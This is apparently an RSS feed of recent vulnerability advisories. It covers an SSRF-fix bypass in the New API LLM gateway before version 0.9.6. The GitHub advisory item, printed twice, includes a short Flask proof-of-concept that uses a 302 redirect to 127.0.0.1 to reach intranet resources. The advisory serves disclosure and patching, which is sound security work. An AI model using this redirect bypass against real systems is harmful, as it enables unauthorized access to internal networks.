<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 20 Oct 2026 05:19:37 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-261886</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-261886</link>
      <description>EUVD-2026-261886</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-261886</guid>
    </item>
    <item>
      <title>fkie_cve-2025-62155</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2025-62155</link>
      <description>&lt;p&gt;New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.9.6, a recently patched SSRF vulnerability contains a bypass method that can bypass the existing security fix and still allow SSRF to occur.
Because the existing fix only applies security restrictions to the first URL request, a 302 redirect can bypass existing security measures and successfully access the intranet. This issue has been patched in version 0.9.6.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.9.6, a recently patched SSRF vulnerability contains a bypass method that can bypass the existing security fix and still allow SSRF to occur.
Because the existing fix only applies security restrictions to the first URL request, a 302 redirect can bypass existing security measures and successfully access the intranet. This issue has been patched in version 0.9.6.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2025-62155</guid>
    </item>
    <item>
      <title>GHSA-9f46-w24h-69w4 — new-api is vulnerable to SSRF Bypass</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-9f46-w24h-69w4</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/QuantumNous/new-api&lt;/p&gt;
&lt;p&gt;### Summary
A recently patched SSRF vulnerability contains a bypass method that can bypass the existing security fix and still allow SSRF to occur.
Because the existing fix only applies security restrictions to the first URL request, a 302 redirect can bypass existing security measures and successfully access the intranet.&lt;/p&gt;
&lt;p&gt;### Details
Use the following script to deploy on the attacker&amp;#39;s server. Since ports 80, 443, and 8080 are default ports within the security range set by the administrator and will not be blocked, the service is deployed on port 8080.
```
from flask import Flask, redirect  
  
app = Flask(__name__)  
  
@app.route(&amp;#39;/redirect&amp;#39;)  
def ssrf_redirect():  
    return redirect(&amp;#39;http://127.0.0.1:8003/uid.txt&amp;#39;, code=302)  
  
if __name__ == &amp;#39;__main__&amp;#39;:  
    app.run(host=&amp;#39;0.0.0.0&amp;#39;, port=8080)
```
Then, a request is made to the malicious service opened by the attacker, and it can be found that the resources on the intranet are successfully accessed.
&amp;lt;img width=&amp;#34;663&amp;#34; height=&amp;#34;60&amp;#34; alt=&amp;#34;image&amp;#34; src=&amp;#34;https://github.com/user-attachments/assets/2f296cff-510d-4cfe-8509-518e747bf8fe&amp;#34; /&amp;gt;
At the same time, the locally opened service 127.0.0.1:8083/uid.txt also received related requests.
&amp;lt;img width=&amp;#34;717&amp;#34; height=&amp;#34;79&amp;#34; alt=&amp;#34;image&amp;#34; src=&amp;#34;https://github.com/user-attachments/assets/d6b6d2cc-280b-45b5-9946-10b7891bf017&amp;#34; /&amp;gt;&lt;/p&gt;
&lt;p&gt;### Impact
Using 302 redirects to bypass previous SSRF security fixes&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/QuantumNous/new-api&lt;/p&gt;
&lt;p&gt;### Summary
A recently patched SSRF vulnerability contains a bypass method that can bypass the existing security fix and still allow SSRF to occur.
Because the existing fix only applies security restrictions to the first URL request, a 302 redirect can bypass existing security measures and successfully access the intranet.&lt;/p&gt;
&lt;p&gt;### Details
Use the following script to deploy on the attacker&amp;#39;s server. Since ports 80, 443, and 8080 are default ports within the security range set by the administrator and will not be blocked, the service is deployed on port 8080.
```
from flask import Flask, redirect  
  
app = Flask(__name__)  
  
@app.route(&amp;#39;/redirect&amp;#39;)  
def ssrf_redirect():  
    return redirect(&amp;#39;http://127.0.0.1:8003/uid.txt&amp;#39;, code=302)  
  
if __name__ == &amp;#39;__main__&amp;#39;:  
    app.run(host=&amp;#39;0.0.0.0&amp;#39;, port=8080)
```
Then, a request is made to the malicious service opened by the attacker, and it can be found that the resources on the intranet are successfully accessed.
&amp;lt;img width=&amp;#34;663&amp;#34; height=&amp;#34;60&amp;#34; alt=&amp;#34;image&amp;#34; src=&amp;#34;https://github.com/user-attachments/assets/2f296cff-510d-4cfe-8509-518e747bf8fe&amp;#34; /&amp;gt;
At the same time, the locally opened service 127.0.0.1:8083/uid.txt also received related requests.
&amp;lt;img width=&amp;#34;717&amp;#34; height=&amp;#34;79&amp;#34; alt=&amp;#34;image&amp;#34; src=&amp;#34;https://github.com/user-attachments/assets/d6b6d2cc-280b-45b5-9946-10b7891bf017&amp;#34; /&amp;gt;&lt;/p&gt;
&lt;p&gt;### Impact
Using 302 redirects to bypass previous SSRF security fixes&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-9f46-w24h-69w4</guid>
    </item>
  </channel>
</rss>
